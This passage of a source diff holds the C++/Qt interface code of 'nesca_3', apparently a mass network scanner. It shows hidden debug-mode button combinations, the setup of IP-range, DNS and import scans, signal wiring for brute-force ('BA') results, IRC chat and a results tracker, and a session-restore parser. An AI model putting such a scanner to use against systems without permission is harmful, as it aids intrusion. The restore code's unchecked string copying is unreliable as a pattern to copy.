rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_5 = false; + ui->secretMessageBut_5->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_6) + { + if(smBit_6 == false) + { + smBit_6 = true; + ui->secretMessageBut_6->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_6 = false; + ui->secretMessageBut_6->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_7) + { + if(smBit_7 == false) + { + smBit_7 = true; + ui->secretMessageBut_7->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_7 = false; + ui->secretMessageBut_7->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + } + else if(smB == ui->secretMessageBut_8) + { + if(smBit_8 == false) + { + smBit_8 = true; + ui->secretMessageBut_8->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:1, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(13, 167, 0, 255), stop:1 rgba(4, 255, 0, 255));"); + } + else + { + smBit_8 = false; + ui->secretMessageBut_8->setStyleSheet("border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255))"); + }; + }; + + if(smBit_1 && smBit_2 && smBit_3 && smBit_4 && smBit_5 && smBit_6 && smBit_7 && smBit_8) + { + gDebugMode = true; + stt->doEmitionDebugFoundData("[Debug mode ON]"); + } + else if(smBit_1 && smBit_2 == false && smBit_3 && smBit_4 == false && smBit_5 == false && smBit_6 == false && smBit_7 == false && smBit_8 == false) + { + code160 = true; + stt->doEmitionDebugFoundData("[Tags-in-chat mode ON]"); + } + else if(smBit_1 == false && smBit_2 == false && smBit_3 == false && smBit_4 == false && smBit_5 == false && smBit_6 == false && smBit_7 && smBit_8) + { + gNegDebugMode = true; + stt->doEmitionDebugFoundData("[Negative-hit mode ON]"); + } + else if(smBit_1 == false && smBit_2 && smBit_3 && smBit_4 && smBit_5 && smBit_6 && smBit_7 && smBit_8) + { + HTMLDebugMode = true; + stt->doEmitionDebugFoundData("[HTML Debug mode ON]"); + } + + else + { + if(gDebugMode) + { + gDebugMode = false; + stt->doEmitionDebugFoundData("[Debug mode OFF]"); + }; + if(code160) + { + code160 = false; + stt->doEmitionDebugFoundData("[Tags-in-chat mode OFF]"); + }; + if(gNegDebugMode) + { + gNegDebugMode = false; + stt->doEmitionDebugFoundData("[Negative-hit mode OFF]"); + }; + if(HTMLDebugMode) + { + HTMLDebugMode = false; + stt->doEmitionDebugFoundData("[HTML Debug mode OFF]"); + }; + }; + +}; +#pragma endregion +void nesca_3::IPScanSeq() +{ + if(ui->ipLine->text() != "") + { + if(ui->portLine->text() != "") + { + ui->labelParsed_Value->setText("0/0"); + stopFirst = false; + saveOptions(); + ui->tabMainWidget->setTabEnabled(1, false); + ui->tabMainWidget->setTabEnabled(2, false); + + QString rangeData = ui->ipLine->text(); + if(rangeData.indexOf("-") > 0) + { + rangeData = ui->ipLine->text(); + } + else + { + if(rangeData.indexOf("/") < 0) + { + rangeData = ui->ipLine->text() + "-" + ui->ipLine->text(); + } + else + { + rangeData = ui->ipLine->text(); + }; + }; + + strcpy(inputStr, ("DUMMY|0|" + rangeData + "|" + ui->threadLine->text() + "|-p" + ui->portLine->text().replace(" ", "")).toLocal8Bit().data()); + + stt->start(); + startFlag = true; + globalScanFlag = true; + ui->startScanButton_3->setText("Stop"); + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->dataText->clear(); + } + else + { + stt->doEmitionRedFoundData("No ports specified!"); + }; + } + else + { + if(stopFirst == false) + { + stopFirst = true; + globalScanFlag = false; + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_3->setText("STOP!"); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + } + else + { + globalScanFlag = false; + ui->startScanButton_3->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_3->setText("Wait..."); + stt->doEmitionYellowFoundData("Wait, killing threads..."); + STTTerminate(); + }; + }; +}; +void nesca_3::DNSScanSeq() +{ + if(ui->lineEditStartIPDNS->text() != "") + { + if(ui->lineEditPort->text() != "") + { + ui->labelParsed_Value->setText("0/0"); + if(ui->lineEditStartIPDNS->text().indexOf(".") > 0) + { + QStringList lst = ui->lineEditStartIPDNS->text().split("."); + ui->lineEditStartIPDNS->setText(lst[0]); + QString topLevelDomainStr; + for(int i = 1; i < lst.size(); ++i) + { + topLevelDomainStr += "."; + topLevelDomainStr += lst[i]; + }; + ui->lineILVL->setText(topLevelDomainStr); + }; + + stopFirst = false; + saveOptions(); + + ui->tabMainWidget->setTabEnabled(0, false); + ui->tabMainWidget->setTabEnabled(2, false); + + strcpy(inputStr, ("DUMMY|1|" + ui->lineEditStartIPDNS->text() + "|" + ui->lineILVL->text() + "|" + ui->lineEditThread->text() + "|-p" + ui->lineEditPort->text().replace(" ", "")).toLocal8Bit().data()); + + stt->start(); + startFlag = true; + globalScanFlag = true; + ui->startScanButton_4->setText("Stop"); + ui->startScanButton_4->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->dataText->clear(); + } + else + { + stt->doEmitionRedFoundData("No ports specified!"); + }; + } + else + { + stt->doEmitionRedFoundData("Wrong mask input."); + }; +}; +void nesca_3::ImportScanSeq() +{ + QString fileName; + + if(importFileName.size() == 0) fileName = QFileDialog::getOpenFileName(this, tr("Open File"), + "", + tr("Files (*.txt)") + ); + else fileName = importFileName; + if(fileName != "") + { + ui->tabMainWidget->setTabEnabled(0, false); + ui->tabMainWidget->setTabEnabled(1, false); + + strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data()); + + globalScanFlag = true; + stt->start(); + startFlag = true; + stopFirst = false; + pbTh->start(); + ui->importButton->setText("Stop"); + ui->importButton->setStyleSheet( + " #importButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->dataText->clear(); + } + else + { + stt->doEmitionYellowFoundData("Empty filename."); + }; +}; +QLabel *smsgLbl; +QLabel *smsgNLbl; +void nesca_3::slotShowServerMsg(QString str) +{ + QMessageBox msgBox; + msgBox.setWindowFlags ( Qt::FramelessWindowHint|Qt::WindowStaysOnTopHint|Qt::SubWindow ); + msgBox.setStyleSheet("border: 0.5px solid #7c7c7c; background-color:rgba(25, 25, 25, 255); color:#7c7c7c;"); + msgBox.setText("Server message"); + msgBox.setInformativeText(str); + msgBox.setContentsMargins(0, 0, 25, 15); + msgBox.setStandardButtons(QMessageBox::Ok); + msgBox.setDefaultButton(QMessageBox::Ok); + msgBox.button(QMessageBox::Ok)->setStyleSheet( + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: gray;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "width: 20px;" + "position: absolute;" + ); + msgBox.exec(); +}; +void nesca_3::DNSLine_ValueChanged(QString str) +{ + if(globalScanFlag == 0) ui->startScanButton_4->setText("Start"); +}; +void nesca_3::slotRestoreDefPorts() +{ + int ci = ui->tabMainWidget->currentIndex(); + + if(ci == 0) + { + ui->portLine->setText(PORTSET); + } + else if(ci == 1) + { + ui->lineEditPort->setText(PORTSET); + } + else if(ci == 2) + { + ui->importPorts->setText(PORTSET); + }; +}; +QGraphicsTextItem *textItem = NULL; +QGraphicsRectItem* pbItem = NULL; +QGraphicsRectItem* pbBlackRectItem = NULL; +QPen pbPen(QColor(227, 227, 227, 150)); +QFont pbPointerFont; + +void nesca_3::slotPBUpdate() +{ + int val = this->perc; + if(textItem != NULL) + { + delete textItem; + textItem = NULL; + }; + if(pbItem != NULL) + { + delete pbItem; + pbItem = NULL; + }; + if(pbBlackRectItem != NULL) + { + delete pbBlackRectItem; + pbBlackRectItem = NULL; + }; + pbScene->clear(); + QLinearGradient grad1(0, 0, 0, 110); + + if(val < 33) grad1.setColorAt(0.1, QColor(207, 0, 0)); + else if( val < 66 ) grad1.setColorAt(0.1, QColor(247, 244, 0)); + else if( val < 99 ) grad1.setColorAt(0.1, QColor(0, 207, 0)); + + QLinearGradient gradBlack(0, 0, 0, 110); + gradBlack.setColorAt(0.1, QColor(0, 0, 0)); + pbBlackRectItem = new QGraphicsRectItem(0,0,5,99); + pbBlackRectItem->setBrush(gradBlack); + pbScene->addItem(pbBlackRectItem); + + pbItem = new QGraphicsRectItem(0,0,5,val); + pbItem->setBrush(grad1); + pbScene->addItem(pbItem); + + textItem = pbScene->addText("- " + QString::number(val) + "%", pbPointerFont); + textItem->setX(2); + textItem->setY(val - 10); + textItem->setDefaultTextColor(QColor(255, 255, 255, 180)); + + pbScene->addLine(4, 11, 6, 11, pbPen); + pbScene->addLine(4, 22, 6, 22, pbPen); + pbScene->addLine(0, 33, 8, 33, pbPen); + pbScene->addLine(4, 44, 6, 44, pbPen); + pbScene->addLine(4, 55, 6, 55, pbPen); + pbScene->addLine(0, 66, 8, 66, pbPen); + pbScene->addLine(4, 77, 6, 77, pbPen); + pbScene->addLine(4, 88, 6, 88, pbPen); +}; +#pragma region "Signal assignments" +void nesca_3::ConnectEvrthng() +{ + connect ( pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate())); + connect ( ui->secretMessageBut_1, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_2, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_3, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_4, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_5, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_6, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_7, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->secretMessageBut_8, SIGNAL( clicked() ), this, SLOT( smReaction() ) ); + connect ( ui->nickList, SIGNAL(itemClicked(QListWidgetItem*)), this, SLOT(slotItemClicked(QListWidgetItem*))); + connect ( ui->nickShowBut, SIGNAL( clicked() ), this, SLOT( slotShowNicks() ) ); + connect ( ui->ircText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); + connect ( ui->ircRaw, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); + connect ( ui->dataText, SIGNAL( anchorClicked(QUrl) ), this, SLOT( onLinkClicked(QUrl) ) ); + connect ( ui->ircProxy, SIGNAL( returnPressed() ), this, SLOT( CheckProxy() ) ); + connect ( ui->ircProxyPort, SIGNAL( returnPressed() ), this, SLOT( CheckProxy() ) ); + connect ( ui->shoutBox, SIGNAL( returnPressed() ), this, SLOT( SaySmthng() ) ); + connect ( ui->ircNickBox, SIGNAL( returnPressed() ), this, SLOT( ChangeNick() ) ); + connect ( ui->ircServerBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); + connect ( ui->serverPortBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) ); + connect ( ui->checkKeyBut, SIGNAL( clicked() ), this, SLOT( CheckPersKey() ) ); + connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) ); + connect ( ui->DataflowModeBut_2, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) ); + connect ( ui->IRCConnectBut, SIGNAL( clicked() ), this, SLOT( ConnectToIRCServer() ) ); + connect ( ui->IRCModeChangerBut, SIGNAL( clicked() ), this, SLOT( ChangeIRCRawLog() ) ); + connect ( ui->IRCModeBut, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) ); + connect ( ui->IRCModeBut_2, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) ); + connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) ); + connect ( ui->IRCUTFMode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeToUTF() ) ); + connect ( ui->IRCCP1251Mode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeTo1251() ) ); + connect ( mct, SIGNAL(showNewMsg(QString)), this, SLOT(slotShowServerMsg(QString))); + connect ( tray, SIGNAL(activated(QSystemTrayIcon::ActivationReason)),this,SLOT(trayButtonClicked())); + connect ( ui->exitButton, SIGNAL( clicked() ), this, SLOT( exitButtonClicked() ) ); + connect ( ui->trayButton, SIGNAL( clicked() ), this, SLOT( trayButtonClicked() ) ); + connect ( ui->switcherBut, SIGNAL( clicked() ), this, SLOT( switchDataFields() ) ); + connect ( ui->importButton, SIGNAL( clicked() ), this, SLOT( importAndScan() ) ); + connect ( ui->startScanButton_3, SIGNAL( clicked() ), this, SLOT( startScanButtonClicked() ) ); + connect ( ui->startScanButton_4, SIGNAL( clicked() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->trackerOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangeTrackerOK(bool) ) ); + connect ( ui->debugFileOnOff, SIGNAL( toggled(bool) ), this, SLOT( ChangeDebugFileState(bool) ) ); + connect ( ui->importThreads, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); + connect ( ui->threadLine, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); + connect ( ui->lineEditThread, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelThreads_ValueChanged(QString) ) ); + connect ( ui->iptoLine_value, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelTO_ValueChanged(QString) ) ); + connect ( ui->iptoLine_value_2, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelTO_ValueChanged(QString) ) ); + connect ( ui->iptoLine_value_3, SIGNAL( textChanged(QString) ), this, SLOT( ChangeLabelTO_ValueChanged(QString) ) ); + connect ( ui->restoreDefaultPorts1, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); + connect ( ui->restoreDefaultPorts2, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); + connect ( ui->restoreDefaultPorts3, SIGNAL( clicked() ), this, SLOT( slotRestoreDefPorts() ) ); + connect ( ui->IRCCheckProxyBut, SIGNAL( clicked() ), this, SLOT( CheckProxy() ) ); + connect ( ui->lineEditStartIPDNS, SIGNAL( textChanged(QString) ), this, SLOT( DNSLine_ValueChanged(QString) ) ); + connect ( ui->ipLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); + connect ( ui->threadLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); + connect ( ui->portLine, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClicked() ) ); + connect ( ui->lineEditStartIPDNS, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->lineILVL, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->lineEditPort, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->lineEditThread, SIGNAL( returnPressed() ), this, SLOT( startScanButtonClickedDNS() ) ); + connect ( ui->logoLabel, SIGNAL( clicked() ), this, SLOT( logoLabelClicked() ) ); + connect ( ui->me2ScanBut, SIGNAL( clicked() ), this, SLOT( activateME2ScanScene() ) ); + connect ( ui->QoSScanBut, SIGNAL( clicked() ), this, SLOT( activateQoSScanBut() ) ); + connect ( ui->VoiceScanBut, SIGNAL( clicked() ), this, SLOT( activateVoiceScanBut() ) ); + connect ( ui->PieStatBut, SIGNAL( clicked() ), this, SLOT( activatePieStatBut() ) ); + connect ( ui->topicLine, SIGNAL( returnPressed() ), this, SLOT( ChangeTopic() ) ); + connect ( stt, SIGNAL(showRedVersion()), this, SLOT(slotShowRedVersion())); + connect ( stt, SIGNAL(startScanIP()), this, SLOT(IPScanSeq())); + connect ( stt, SIGNAL(startScanDNS()), this, SLOT(DNSScanSeq())); + connect ( stt, SIGNAL(startScanImport()), this, SLOT(ImportScanSeq())); + connect ( stt, SIGNAL(sIncData(QString, QString)), this, SLOT(slotIncData(QString, QString))); + connect ( stt, SIGNAL(sOutData(QString, QString)), this, SLOT(slotOutData(QString, QString))); + connect ( stt, SIGNAL(changeDebugFoundData(QString)), this, SLOT(appendDebugText(QString))); + connect ( stt, SIGNAL(changeYellowFoundData(QString)), this, SLOT(appendNotifyText(QString))); + connect ( stt, SIGNAL(changeRedFoundData(QString)), this, SLOT(appendErrText(QString))); + connect ( stt, SIGNAL(changeGreenFoundData(QString)), this, SLOT(appendOKText(QString))); + connect ( stt, SIGNAL(killSttThread()), this, SLOT(STTTerminate())); + connect ( stt, SIGNAL(changeParsedValue(QString)), ui->labelParsed_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeIpRange(QString)), ui->labelIpRange_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeThreads(QString)), ui->labelThreads_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeIPS(QString)), ui->labelIPS_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeFoundData(QString)), this, SLOT(appendDefaultText(QString))); + connect ( stt, SIGNAL(changeBAValue(QString)), ui->labelBAThreads_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeStatus(QString)), ui->labelStatus_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeTargetsLeft(QString)), ui->labelTargetsLeft_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeOffline(QString)), ui->labelOffline_Value, SLOT(setText(QString))); + connect ( stt, SIGNAL(changeBAData(QString)), ui->BAText, SLOT(append(QString))); + connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString))); + connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString))); + connect ( stt, SIGNAL(SetActivityValue(QString)), this, SLOT(SetActivityValue(QString))); + connect ( chPTh, SIGNAL(changeGreenIRCData(QString)), this, SLOT(appendGreenIRCText(QString))); + connect ( chPTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); + connect ( chPTh, SIGNAL(changeYellowIRCData(QString)), this, SLOT(appendYellowIRCText(QString))); + connect ( chPTh, SIGNAL(changeIRCData(bool, bool, int, QString, QString)), this, SLOT(appendDefaultIRCText(bool, bool, int, QString, QString))); + connect ( ircTh, SIGNAL(getTopic(QString)), this, SLOT(slotIRCGetTopic(QString)) ); + connect ( ircTh, SIGNAL(IRCOfflined()), this, SLOT(slotIRCOfflined()) ); + connect ( ircTh, SIGNAL(sUnhidePopup(QString, QString)), this, SLOT(slotUnhidePopup(QString, QString))); + connect ( ircTh, SIGNAL(ClearNickList()), this, SLOT(slotClearNickList())); + connect ( ircTh, SIGNAL(AddNick(QString)), this, SLOT(slotAppendIRCNick(QString))); + connect ( ircTh, SIGNAL(changeGreenIRCData(QString)), this, SLOT(appendGreenIRCText(QString))); + connect ( ircTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); + connect ( ircPTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); + connect ( ircPTh, SIGNAL(RestartIRC()), this, SLOT(slotRestartIRC())); + connect ( ircTh, SIGNAL(changeYellowIRCData(QString)), this, SLOT(appendYellowIRCText(QString))); + connect ( ircTh, SIGNAL(changeIRCData(bool, bool, int, QString, QString)), this, SLOT(appendDefaultIRCText(bool, bool, int, QString, QString))); + connect ( ircTh, SIGNAL(changeRawIRCDataInc(QString)), this, SLOT(appendDefaultIRCRawTextInc(QString))); + connect ( ircTh, SIGNAL(changeRawIRCDataOut(QString)), this, SLOT(appendDefaultIRCRawTextOut(QString))); + connect ( chPTh, SIGNAL(changeRawIRCDataInc(QString)), this, SLOT(appendDefaultIRCRawTextInc(QString))); + connect ( chPTh, SIGNAL(changeRawIRCDataOut(QString)), this, SLOT(appendDefaultIRCRawTextOut(QString))); + connect ( ircTh, SIGNAL(setNick(QString)), this, SLOT(setNickBox(QString))); + connect ( ircTh, SIGNAL(changeIRCDataOut(QString)), this, SLOT(appendDefaultIRCTextOut(QString))); + connect ( ircTh, SIGNAL(notifyPlay()), this, SLOT(playFcknSound())); + connect ( adtHN, SIGNAL(sDrawActivityLine()), this, SLOT(slotDrawActivityLine())); + connect ( adtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawActivityGrid())); + connect ( dtHN, SIGNAL(sAddDelimLines()), this, SLOT(slotDrawDelimLines())); + connect ( dtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawGrid())); + connect ( dtHN, SIGNAL(sAddLine(int, int, int, int)), this, SLOT(slotAddLine(int, int, int, int))); + connect ( dtME2, SIGNAL(sAddPolyLine()), this, SLOT(slotAddPolyLine())); + connect ( dtME2, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); + connect ( dtQoS, SIGNAL(sAddLine()), this, SLOT(slotQoSAddLine())); + connect ( dtGridQoS, SIGNAL(sAddLine()), this, SLOT(slotQoSAddGrid())); + connect ( dtGridQoS, SIGNAL(sAddDelimLines()), this, SLOT(slotQoSDrawDelimLines())); + connect ( vsTh, SIGNAL(sAddLine()), this, SLOT(slotVoiceAddLine())); + connect ( vsTh, SIGNAL(sDrawGrid()), this, SLOT(slotDrawVoiceGrid())); + connect ( vsTh, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); + connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); + connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); +}; +#pragma endregion + +void RestoreSession() +{ + FILE *resFile = fopen("restore", "r"); + char resStr[128] = {0}; + char *lex; + + if(resFile != NULL) + { +#pragma region QTGUI_Area + stt->doEmitionYellowFoundData("Previous session file found! Restoring..."); +#pragma endregion + while(fgets(resStr, 128, resFile) != NULL) + { + if(strstr(resStr, "[SESSION]:") != NULL) + { + lex = strtok(strstr(resStr, "[SESSION]:") + strlen("[SESSION]:"), " "); + gMode = atoi(lex); + lex = strtok(NULL, " "); + + if(gMode == 0) + { + if(strstr(lex, "-") != NULL) + { + strncpy(gRange, lex, (int)(strstr(lex, "-") - lex)); + strcat(gRange, "-"); + strcat(gRange, strstr(lex, "-") + 1); + + lex = strtok(NULL, " "); + gThreads = atoi(lex); + + ui->threadLine->setText(QString(lex)); + ui->ipLine->setText(QString(gRange)); + ui->tabMainWidget->setCurrentIndex(0); + } + else if(strstr(lex, "/") != NULL) + { + strncpy(gRange, lex, (int)(strstr(lex, "/") - lex)); + strcat(gRange, "/"); + strcat(gRange, strstr(lex, "/") + 1); + + lex = strtok(NULL, " "); + gThreads = atoi(lex); + + ui->threadLine->setText(QString(lex)); + ui->ipLine->setText(QString(gRange)); + ui->tabMainWidget->setCurrentIndex(0); + }; + } + else if(gMode == 1) + { + dnsVec.clear(); + FILE *f = fopen("dnsbackup.lst", "r"); + char curDNS[256] = {0}; + int counter = 0; + if(f != NULL) + { + stt->doEmitionYellowFoundData("Loading DNS-range..."); + while(fgets(curDNS, 256, f) != NULL) + { + if(strcmp(curDNS, "") == 0 || strcmp(curDNS, " ") == 0 || strcmp(curDNS, "\r\n") == 0 || strcmp(curDNS, "\n") == 0) + { + ZeroMemory(curDNS, sizeof(curDNS)); + continue; + }; + + ++counter; + if(curDNS[strlen(curDNS) - 1] == '\n') curDNS[strlen(curDNS) - 1] = '\0'; + dnsVec.push_back(std::string(curDNS)); + ZeroMemory(curDNS, 256); + }; + stt->doEmitionYellowFoundData("DNS-range loaded (" + QString::number(counter) + " domains)"); + + ui->lineEditStartIPDNS->setText(QString(lex)); + lex = strtok(NULL, " "); + strcpy(gFirstDom, lex); + + lex = strtok(NULL, " "); + gThreads = atoi(lex); + ui->lineEditThread->setText(QString(lex)); + ui->lineILVL->setText(QString(gFirstDom)); + ui->tabMainWidget->setCurrentIndex(1); + ui->startScanButton_4->setText("RESTORE"); + fclose(f); + }; + } + else if(gMode == -1) + { + lex = strtok(NULL, " "); + gThreads = atoi(lex); + + ui->importThreads->setText(QString(lex)); + + FILE *testFile = fopen("tempIPLst.bk", "r"); + if(testFile != NULL) + { + ui->importButton->setText("RESTORE"); + importFileName = "tempIPLst.bk"; + fclose(testFile); + }; + ui->tabMainWidget->setCurrentIndex(2); + }; + + lex = strtok(NULL, " "); + + if(lex != NULL && strstr(lex, "-p") != NULL) + { + QString PortString = ""; + + char *tPorts = strstr(lex, "-p"); + int strln = strlen(tPorts); + char *fPorts = new char[strln]; + strncpy(fPorts, tPorts + 2, strln); + PortString = QString(fPorts); + + PortString.replace("\n", ""); + + ui->lineEditPort->setText(PortString); + ui->portLine->setText(PortString); + ui->importPorts->setText(PortString); + + delete []fPorts; + } + else + { + ui->lineEditPort->setText(PORTSET); + ui->portLine->setText(PORTSET); + }; + }; + + if(strstr(resStr, "[NDBSERVER]:") != NULL) + { + lex = strstr(resStr, "[NDBSERVER]:") + strlen("[NDBSERVER]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->lineTrackerSrv->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[NDBSCRIPT]:") != NULL) + { + lex = strstr(resStr, "[NDBSCRIPT]:") + strlen("[NDBSCRIPT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->lineTrackerScr->setText(QString(lex)); + }; + } + else if(strstr(resStr, "[NDBPORT]:") != NULL) + { + lex = strstr(resStr, "[NDBPORT]:") + strlen("[NDBPORT]:"); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + 